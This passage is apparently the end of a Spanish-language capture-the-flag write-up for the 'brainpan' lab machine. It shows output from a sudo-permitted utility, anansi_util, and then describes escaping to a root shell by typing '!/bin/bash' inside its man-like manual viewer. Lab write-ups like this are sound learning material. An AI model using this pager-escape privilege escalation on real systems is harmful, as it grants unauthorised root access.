inet6 fe80::a00:27ff:fec3:401b/64 scope link
valid_lft forever preferred_lft forever
- Proclist
puck@brainpan:/home/puck$ sudo /home/anansi/bin/anansi_util proclist
top - 10:15:24 up 15 min, 0 users, load average: 0.00, 0.00, 0.00
Tasks: 77 total, 1 running, 76 sleeping, 0 stopped, 0 zombie
%Cpu(s): 0.0 us, 0.1 sy, 0.0 ni, 99.9 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
KiB Mem: 248936 total, 136380 used, 112556 free, 25352 buffers
KiB Swap: 520188 total, 0 used, 520188 free, 77192 cached
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
1 root 20 0 3492 1860 1280 S 0.0 0.7 0:00.24 init
2 root 20 0 0 0 0 S 0.0 0.0 0:00.00 kthreadd
3 root 20 0 0 0 0 S 0.0 0.0 0:00.03 ksoftirqd/0
4 root 20 0 0 0 0 S 0.0 0.0 0:00.00 kworker/0:0
6 root rt 0 0 0 0 S 0.0 0.0 0:00.00 migration/0
7 root rt 0 0 0 0 S 0.0 0.0 0:00.00 watchdog/0
8 root 0 -20 0 0 0 S 0.0 0.0 0:00.00 cpuset
9 root 0 -20 0 0 0 S 0.0 0.0 0:00.00 khelper
10 root 20 0 0 0 0 S 0.0 0.0 0:00.00 kdevtmpfs
11 root 0 -20 0 0 0 S 0.0 0.0 0:00.00 netns
12 root 20 0 0 0 0 S 0.0 0.0 0:00.00 sync_supers
13 root 20 0 0 0 0 S 0.0 0.0 0:00.00 bdi-default
14 root 0 -20 0 0 0 S 0.0 0.0 0:00.00 kintegrityd
15 root 0 -20 0 0 0 S 0.0 0.0 0:00.00 kblockd
16 root 0 -20 0 0 0 S 0.0 0.0 0:00.00 ata_sff
17 root 20 0 0 0 0 S 0.0 0.0 0:00.00 khubd
18 root 0 -20 0 0 0 S 0.0 0.0 0:00.00 md
- Manual
Muestra el manual de un comando
sudo /home/anansi/bin/anansi_util manual /bin/bash
El manual que muestra parece que es el mismo que man, así que si ponemos lo siguiente dentro del manual, nos convertimos en root
!/bin/bash
Máquina resuelta